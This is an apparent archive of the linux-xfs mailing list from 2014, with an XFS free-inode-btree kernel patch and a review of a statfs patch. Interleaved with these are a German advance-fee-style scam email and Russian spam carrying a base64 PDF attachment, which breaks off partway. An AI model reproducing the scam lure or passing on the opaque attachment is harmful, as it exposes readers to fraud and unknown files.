@@ do { \ case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(abtc, stat); break; \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -105,6 +107,7 @@ do { \ case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(abtc, stat, val); break; \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index b6ab5a3..d1def17 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -200,6 +200,8 @@ typedef __be32 xfs_alloc_ptr_t; */ #define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ #define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ +#define XFS_FIBT_MAGIC 0x46494254 /* 'FIBT' */ +#define XFS_FIBT_CRC_MAGIC 0x46494233 /* 'FIB3' */ typedef __uint64_t xfs_inofree_t; #define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) @@ -242,7 +244,17 @@ typedef __be32 xfs_inobt_ptr_t; * block numbers in the AG. */ #define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) +#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) + +/* + * The first data block of an AG depends on whether the filesystem was formatted + * with the finobt feature. If so, account for the finobt reserved root btree + * block. + */ +#define XFS_PREALLOC_BLOCKS(mp) \ + (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ + XFS_FIBT_BLOCK(mp) + 1 : \ + XFS_IBT_BLOCK(mp) + 1) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index ed303fc..2bd04c1 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1476,7 +1476,16 @@ xfs_ialloc_compute_maxlevels( } /* - * Log specified fields for the ag hdr (inode section) + * Log specified fields for the ag hdr (inode section). The growth of the agi + * structure over time requires that we interpret the buffer as two logical + * regions delineated by the end of the unlinked list. This is due to the size + * of the hash table and its location in the middle of the agi. + * + * For example, a request to log a field before agi_unlinked and a field after + * agi_unlinked could cause us to log the entire hash table and use an excessive + * amount of log space. To avoid this behavior, log the region up through + * agi_unlinked in one call and the region after agi_unlinked through the end of + * the structure in another. */ void xfs_ialloc_log_agi( @@ -1499,6 +1508,8 @@ xfs_ialloc_log_agi( offsetof(xfs_agi_t, agi_newino), offsetof(xfs_agi_t, agi_dirino), offsetof(xfs_agi_t, agi_unlinked), + offsetof(xfs_agi_t, agi_free_root), + offsetof(xfs_agi_t, agi_free_level), sizeof(xfs_agi_t) }; #ifdef DEBUG @@ -1507,15 +1518,30 @@ xfs_ialloc_log_agi( agi = XFS_BUF_TO_AGI(bp); ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); #endif + + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_AGI_BUF); + /* - * Compute byte offsets for the first and last fields. + * Compute byte offsets for the first and last fields in the first + * region and log the agi buffer. This only logs up through + * agi_unlinked. */ - xfs_btree_offsets(fields, offsets, XFS_AGI_NUM_BITS, &first, &last); + if (fields & XFS_AGI_ALL_BITS_R1) { + xfs_btree_offsets(fields, offsets, XFS_AGI_NUM_BITS_R1, + &first, &last); + xfs_trans_log_buf(tp, bp, first, last); + } + /* - * Log the allocation group inode header buffer. + * Mask off the bits in the first region and calculate the first and + * last field offsets for any bits in the second region. */ - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_AGI_BUF); - xfs_trans_log_buf(tp, bp, first, last); + fields &= ~XFS_AGI_ALL_BITS_R1; + if (fields) { + xfs_btree_offsets(fields, offsets, XFS_AGI_NUM_BITS_R2, + &first, &last); + xfs_trans_log_buf(tp, bp, first, last); + } } #ifdef DEBUG diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 2d1a398..16212dc 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -67,6 +67,21 @@ xfs_inobt_set_root( xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); } +STATIC void +xfs_finobt_set_root( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *nptr, + int inc) /* level change */ +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + + agi->agi_free_root = nptr->s; + be32_add_cpu(&agi->agi_free_level, inc); + xfs_ialloc_log_agi(cur->bc_tp, agbp, + XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL); +} + STATIC int xfs_inobt_alloc_block( struct xfs_btree_cur *cur, @@ -174,6 +189,17 @@ xfs_inobt_init_ptr_from_cur( ptr->s = agi->agi_root; } +STATIC void +xfs_finobt_init_ptr_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + struct xfs_agi *agi = XFS_BUF_TO_AGI(cur->bc_private.a.agbp); + + ASSERT(cur->bc_private.a.agno == be32_to_cpu(agi->agi_seqno)); + ptr->s = agi->agi_free_root; +} + STATIC __int64_t xfs_inobt_key_diff( struct xfs_btree_cur *cur, @@ -204,6 +230,7 @@ xfs_inobt_verify( */ switch (block->bb_magic) { case cpu_to_be32(XFS_IBT_CRC_MAGIC): + case cpu_to_be32(XFS_FIBT_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -215,6 +242,7 @@ xfs_inobt_verify( return false; /* fall through */ case cpu_to_be32(XFS_IBT_MAGIC): + case cpu_to_be32(XFS_FIBT_MAGIC): break; default: return 0; @@ -316,6 +344,28 @@ static const struct xfs_btree_ops xfs_inobt_ops = { #endif }; +static const struct xfs_btree_ops xfs_finobt_ops = { + .rec_len = sizeof(xfs_inobt_rec_t), + .key_len = sizeof(xfs_inobt_key_t), + + .dup_cursor = xfs_inobt_dup_cursor, + .set_root = xfs_finobt_set_root, + .alloc_block = xfs_inobt_alloc_block, + .free_block = xfs_inobt_free_block, + .get_minrecs = xfs_inobt_get_minrecs, + .get_maxrecs = xfs_inobt_get_maxrecs, + .init_key_from_rec = xfs_inobt_init_key_from_rec, + .init_rec_from_key = xfs_inobt_init_rec_from_key, + .init_rec_from_cur = xfs_inobt_init_rec_from_cur, + .init_ptr_from_cur = xfs_finobt_init_ptr_from_cur, + .key_diff = xfs_inobt_key_diff, + .buf_ops = &xfs_inobt_buf_ops, +#if defined(DEBUG) || defined(XFS_WARN) + .keys_inorder = xfs_inobt_keys_inorder, + .recs_inorder = xfs_inobt_recs_inorder, +#endif +}; + /* * Allocate a new inode btree cursor. */ @@ -334,11 +384,17 @@ xfs_inobt_init_cursor( cur->bc_tp = tp; cur->bc_mp = mp; - cur->bc_nlevels = be32_to_cpu(agi->agi_level); cur->bc_btnum = btnum; + if (btnum == XFS_BTNUM_INO) { + cur->bc_nlevels = be32_to_cpu(agi->agi_level); + cur->bc_ops = &xfs_inobt_ops; + } else { + cur->bc_nlevels = be32_to_cpu(agi->agi_free_level); + cur->bc_ops = &xfs_finobt_ops; + } + cur->bc_blocklog = mp->m_sb.sb_blocklog; - cur->bc_ops = &xfs_inobt_ops; if (xfs_sb_version_hascrc(&mp->m_sb)) cur->bc_flags |= XFS_BTREE_CRC_BLOCKS; diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index bce53ac..f7843df 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2138,7 +2138,9 @@ xlog_recover_validate_buf_type( bp->b_ops = &xfs_allocbt_buf_ops; break; case XFS_IBT_CRC_MAGIC: + case XFS_FIBT_CRC_MAGIC: case XFS_IBT_MAGIC: + case XFS_FIBT_MAGIC: bp->b_ops = &xfs_inobt_buf_ops; break; case XFS_BMAP_CRC_MAGIC: diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index ce372b7..f224038 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -59,6 +59,7 @@ static int xfs_stat_proc_show(struct seq_file *m, void *v) { "abtc2", XFSSTAT_END_ABTC_V2 }, { "bmbt2", XFSSTAT_END_BMBT_V2 }, { "ibt2", XFSSTAT_END_IBT_V2 }, + { "fibt2", XFSSTAT_END_FIBT_V2 }, /* we print both series of quota information together */ { "qm", XFSSTAT_END_QM }, }; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index c03ad38..c8f238b 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -183,7 +183,23 @@ struct xfsstats { __uint32_t xs_ibt_2_alloc; __uint32_t xs_ibt_2_free; __uint32_t xs_ibt_2_moves; -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_IBT_V2+6) +#define XFSSTAT_END_FIBT_V2 (XFSSTAT_END_IBT_V2+15) + __uint32_t xs_fibt_2_lookup; + __uint32_t xs_fibt_2_compare; + __uint32_t xs_fibt_2_insrec; + __uint32_t xs_fibt_2_delrec; + __uint32_t xs_fibt_2_newroot; + __uint32_t xs_fibt_2_killroot; + __uint32_t xs_fibt_2_increment; + __uint32_t xs_fibt_2_decrement; + __uint32_t xs_fibt_2_lshift; + __uint32_t xs_fibt_2_rshift; + __uint32_t xs_fibt_2_split; + __uint32_t xs_fibt_2_join; + __uint32_t xs_fibt_2_alloc; + __uint32_t xs_fibt_2_free; + __uint32_t xs_fibt_2_moves; +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_FIBT_V2+6) __uint32_t xs_qm_dqreclaims; __uint32_t xs_qm_dqreclaim_misses; __uint32_t xs_qm_dquot_dups; diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 82bbc34..65c6e66 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -134,7 +134,7 @@ typedef enum { typedef enum { XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_BMAPi, XFS_BTNUM_INOi, - XFS_BTNUM_MAX + XFS_BTNUM_FINOi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { -- 1.8.3.1 From HERMAN_JACKSON@subr.edu Mon Feb 24 09:47:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 984777F52 for ; Mon, 24 Feb 2014 09:47:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8C2D1304064 for ; Mon, 24 Feb 2014 07:47:22 -0800 (PST) X-ASG-Debug-ID: 1393256836-04cb6c6de2761950001-w1Z2WR Received: from na01-by2-obe.outbound.protection.outlook.com (mail-by2lp0236.outbound.protection.outlook.com [207.46.163.236]) by cuda.sgi.com with ESMTP id I1DcBgpFhzgtCfVh (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 07:47:17 -0800 (PST) X-Barracuda-Envelope-From: HERMAN_JACKSON@subr.edu X-Barracuda-Apparent-Source-IP: 207.46.163.236 Received: from CO1PR02CA006.namprd02.prod.outlook.com (10.242.160.26) by CO1PR02MB157.namprd02.prod.outlook.com (10.242.165.11) with Microsoft SMTP Server (TLS) id 15.0.883.10; Mon, 24 Feb 2014 15:47:14 +0000 Received: from BN1BFFO11FD010.protection.gbl (2a01:111:f400:7c10::1:180) by CO1PR02CA006.outlook.office365.com (2a01:111:e400:1014::26) with Microsoft SMTP Server (TLS) id 15.0.883.10 via Frontend Transport; Mon, 24 Feb 2014 15:47:14 +0000 Received: from EXCH01.subr.edu (192.195.100.168) by BN1BFFO11FD010.mail.protection.outlook.com (10.58.144.73) with Microsoft SMTP Server (TLS) id 15.0.878.20 via Frontend Transport; Mon, 24 Feb 2014 15:47:13 +0000 Received: from primary14.subr.edu (10.20.1.142) by EXCH01.subr.edu (10.20.0.95) with Microsoft SMTP Server id 14.3.123.3; Mon, 24 Feb 2014 09:47:01 -0600 Received: from primary18.subr.edu ([10.20.4.156]) by primary14.subr.edu with Microsoft SMTPSVC(6.0.3790.4675); Mon, 24 Feb 2014 09:45:29 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01CF3177.3F51EB14" Subject: Hello Date: Mon, 24 Feb 2014 09:44:05 -0600 X-ASG-Orig-Subj: Hello Message-ID: <2B031565E059CE44BF89E1C85AB6A43E0F8A932D@primary18.subr.edu> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Hello Thread-Index: Ac8xdz6AuxrL6iuxSOKkSaFv/r7iRA== From: HERMAN JACKSON X-OriginalArrivalTime: 24 Feb 2014 15:45:29.0942 (UTC) FILETIME=[71EF6F60:01CF3177] X-EOPAttributedMessage: 0 X-Forefront-Antispam-Report: =?us-ascii?Q?CIP:192.195.100.168;CTRY:US;IPV:NLI;EFV:NLI;SFV:NSPM;SFS:(10?= =?us-ascii?Q?009001)(6009001)(189002)(199002)(95416001)(86362001)(9256600?= =?us-ascii?Q?1)(92726001)(16796002)(74502001)(94946001)(31966008)(7466200?= =?us-ascii?Q?1)(218053001)(87936001)(1671002)(46102001)(53806001)(4744600?= =?us-ascii?Q?2)(58546002)(6806004)(54316002)(224903001)(16236675002)(8332?= =?us-ascii?Q?2001)(19580405001)(2656002)(19580395003)(44976005)(33656001)?= =?us-ascii?Q?(83072002)(95666003)(512934002)(84326002)(81686001)(74366001?= =?us-ascii?Q?)(80976001)(87266001)(53416003)(85306002)(85852003)(74706001?= =?us-ascii?Q?)(54356001)(76482001)(77982001)(59766001)(62236002)(94316002?= =?us-ascii?Q?)(50986001)(51856001)(47736001)(47976001)(49866001)(55846006?= =?us-ascii?Q?)(221123001)(81342001)(71186001)(65816001)(72046001)(8002200?= =?us-ascii?Q?1)(69226001)(15974865002)(79102001)(81542001)(63696002)(7487?= =?us-ascii?Q?6001)(75432001)(56776001)(56816005)(76176001)(93136001)(9014?= =?us-ascii?Q?6001)(76786001)(76796001)(4396001)(222413001)(20776003)(9351?= =?us-ascii?Q?6002)(213153003)(14353004)(59246002);DIR:OUT;SFP:1101;SCL:1;?= =?us-ascii?Q?SRVR:CO1PR02MB157;H:EXCH01.subr.edu;CLIP:192.195.100.168;FPR?= =?us-ascii?Q?:EA695974.625DA623.4BE2D7BA.57A9C162.20067;PTR:exch01.subr.e?= =?us-ascii?Q?du,sys192195100168.subr.edu;MX:1;A:0;LANG:de;?= X-Forefront-PRVS: 0132C558ED X-OriginatorOrg: subr.edu X-Barracuda-Connect: mail-by2lp0236.outbound.protection.outlook.com[207.46.163.236] X-Barracuda-Start-Time: 1393256837 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145463 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; ------_=_NextPart_001_01CF3177.3F51EB14 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Von Dr. Takashi Nonaka=20 Ich habe ein lukratives Gesch=E4ft Vorschlag von gemeinsamem Interesse=20 Dr. Takashi Nonaka=20 Site: www.mizuho-tb.co.jp=20 dr.nonakatakashi@gmail.com ------_=_NextPart_001_01CF3177.3F51EB14 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello

Von Dr. Takashi Nonaka

Ich habe ein lukratives Gesch=E4ft Vorschlag von gemeinsamem = Interesse
Dr. Takashi Nonaka
Site: www.mizuho-tb.co.jp
dr.nonakatakashi@gmail.com

------_=_NextPart_001_01CF3177.3F51EB14-- From bfoster@redhat.com Mon Feb 24 10:06:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 092B77F52 for ; Mon, 24 Feb 2014 10:06:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 71BE3AC002 for ; Mon, 24 Feb 2014 08:06:53 -0800 (PST) X-ASG-Debug-ID: 1393258011-04cb6c6de27631e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6RTBzEyxovU7yvnq for ; Mon, 24 Feb 2014 08:06:52 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OG6lOU026807 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 11:06:47 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1OG6klh007618; Mon, 24 Feb 2014 11:06:46 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8F8D1124484; Mon, 24 Feb 2014 11:01:04 -0500 (EST) Date: Mon, 24 Feb 2014 11:01:04 -0500 From: Brian Foster To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs: be honest about used inodes in statfs Message-ID: <20140224160047.GA13221@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53067DC0.9040800@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393258012 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Feb 20, 2014 at 04:12:16PM -0600, Eric Sandeen wrote: > Because we have lazy counters, it's possible that we over-allocate > inodes past the maxicount (imaxpct) limit. > > A previous commit, > > 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative > > stopped statfs from underflowing f_ffree in this case, but that > only happened when we mis-reported f_files, capped at maxicount. > > Change statfs to report the actual number of inodes allocated, > even if it is greater than maxicount. It's reality. > Deal with it. ;) > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index f317488..7c7a810 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1083,7 +1083,6 @@ xfs_fs_statfs( > struct xfs_inode *ip = XFS_I(dentry->d_inode); > __uint64_t fakeinos, id; > xfs_extlen_t lsize; > - __int64_t ffree; > > statp->f_type = XFS_SB_MAGIC; > statp->f_namelen = MAXNAMELEN - 1; > @@ -1100,17 +1099,24 @@ xfs_fs_statfs( > statp->f_blocks = sbp->sb_dblocks - lsize; > statp->f_bfree = statp->f_bavail = > sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); > + > + /* Potential number of new inodes in free blocks */ > fakeinos = statp->f_bfree << sbp->sb_inopblog; > + /* Total possible files is current inodes + potential new inodes */ > statp->f_files = > MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); > + /* Unless we have maxicount! Then cap it at that */ > if (mp->m_maxicount) > statp->f_files = min_t(typeof(statp->f_files), > statp->f_files, > mp->m_maxicount); > > - /* make sure statp->f_ffree does not underflow */ > - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); > - statp->f_ffree = max_t(__int64_t, ffree, 0); > + /* But if we already managed to allocate more, let's be honest */ > + statp->f_files = max_t(typeof(statp->f_files), > + sbp->sb_icount, > + statp->f_files); > + > + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); Hi Eric, Would something like the following be equivalent (and accurate?): /* * Potential number of new inodes in free blocks, limited by maxicount. */ fakeinos = statp->f_bfree << sbp->sb_inopblog; if (mp->m_maxicount) fakeinos = mp->m_maxicount > sbp->sb_icount ? MIN(mp->m_maxicount - sbp->sb_icount, fakeinos) : 0; /* Total possible files is current inodes + potential new inodes */ statp->f_files = MIN(sbp->sb_icount + fakeinos, (__uint64_t) XFS_MAXINUMBER); statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); Brian > > spin_unlock(&mp->m_sb_lock); > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From ivannak@ark.ru Mon Feb 24 10:21:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 051847F52 for ; Mon, 24 Feb 2014 10:21:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26B6CAC002 for ; Mon, 24 Feb 2014 08:21:33 -0800 (PST) X-ASG-Debug-ID: 1393258889-04cb6c06cf44f700001-NocioJ Received: from scp15.hosting.reg.ru (scp15.hosting.reg.ru [37.140.192.109]) by cuda.sgi.com with ESMTP id AJnaUvq6b7qKEGYr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 24 Feb 2014 08:21:30 -0800 (PST) X-Barracuda-Envelope-From: ivannak@ark.ru X-Barracuda-Apparent-Source-IP: 37.140.192.109 Received: from [58.215.52.146] (port=29074 helo=Unknown) by scp15.hosting.reg.ru with esmtpa (Exim 4.80.1) (envelope-from ) id 1WHyHI-0003BN-BE; Mon, 24 Feb 2014 20:21:28 +0400 Message-ID: <16A31F08BD7F4D6BA6EBA83C70420F2C@tqzibmv> Reply-To: =?windows-1251?B?zuHr3erx7+Xw8ujn4A==?= From: =?windows-1251?B?zuHr3erx7+Xw8ujn4A==?= To: , , , Subject: =?windows-1251?B?0vDl4e7i4O3o/yDqIOzg8uXw6ODr4OwsIO/w?= =?windows-1251?B?5eTu8fLg4uv/5ez77CDt4CD96u7r7uPo9+Xx?= =?windows-1251?B?6vP+IP3q8e/l8PLo5/M=?= Date: Mon, 24 Feb 2014 17:21:04 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0vDl4e7i4O3o/yDqIOzg8uXw6ODr4OwsIO/w?= =?windows-1251?B?5eTu8fLg4uv/5ez77CDt4CD96u7r7uPo9+Xx?= =?windows-1251?B?6vP+IP3q8e/l8PLo5/M=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1881_01CF3184.CC465840" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - scp15.hosting.reg.ru X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - ark.ru X-Get-Message-Sender-Via: scp15.hosting.reg.ru: authenticated_id: 585@tvoishik.ru X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: scp15.hosting.reg.ru[37.140.192.109] X-Barracuda-Start-Time: 1393258890 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145464 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1881_01CF3184.CC465840 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1882_01CF3184.CC465840" ------=_NextPart_001_1882_01CF3184.CC465840 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =DD=EA=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E5 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA= =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=EC=F3 =EF=F0=EE=E5=EA=F2=F3 ------=_NextPart_001_1882_01CF3184.CC465840 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=DD=EA=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E5 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =EA =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=EC=F3 =EF=F0=EE=E5=EA=F2=F3
<= /BODY> ------=_NextPart_001_1882_01CF3184.CC465840-- ------=_NextPart_000_1881_01CF3184.CC465840 Content-Type: application/octet-stream; name="=?windows-1251?B?0vDl4e7i4O3o/yDqIOzg8uXw6ODr4OwsIO/w?= =?windows-1251?B?5eTu8fLg4uv/5ez77CDt4CD96u7r7uPo9+Xx?= =?windows-1251?B?6vP+IP3q8e/l8PLo5/MucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0vDl4e7i4O3o/yDqIOzg8uXw6ODr4OwsIO/w?= =?windows-1251?B?5eTu8fLg4uv/5ez77CDt4CD96u7r7uPo9+Xx?= =?windows-1251?B?6vP+IP3q8e/l8PLo5/MucGRm?=" JVBERi0xLjQKJeLjz9MKMSAwIG9iago8PC9BbHRlcm5hdGUvRGV2aWNlUkdCL04gMy9MZW5ndGgg MjU5Ni9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4nJ2Wd1RT2RaHz703vVCSEIqU0GtoUgJI Db1IkS4qMQkQSsCQACI2RFRwRFGRpggyKOCAo0ORsSKKhQFRsesEGUTUcXAUG5ZJZK0Z37x5782b 3x/3fmufvc/dZ+991roAkPyDBcJMWAmADKFYFOHnxYiNi2dgBwEM8AADbADgcLOzQhb4RgKZAnzY jGyZE/gXvboOIPn7KtM/jMEA/5+UuVkiMQBQmIzn8vjZXBkXyTg9V5wlt0/JmLY0Tc4wSs4iWYIy VpNz8ixbfPaZZQ858zKEPBnLc87iZfDk3CfjjTkSvoyRYBkX5wj4uTK+JmODdEmGQMZv5LEZfE42 ACiS3C7mc1NkbC1jkigygi3jeQDgSMlf8NIvWMzPE8sPxc7MWi4SJKeIGSZcU4aNkxOL4c/PTeeL xcwwDjeNI+Ix2JkZWRzhcgBmz/xZFHltGbIiO9g4OTgwbS1tvijUf138m5L3dpZehH/uGUQf+MP2 V36ZDQCwpmW12fqHbWkVAF3rAVC7/YfNYC8AirK+dQ59cR66fF5SxOIsZyur3NxcSwGfaykv6O/6 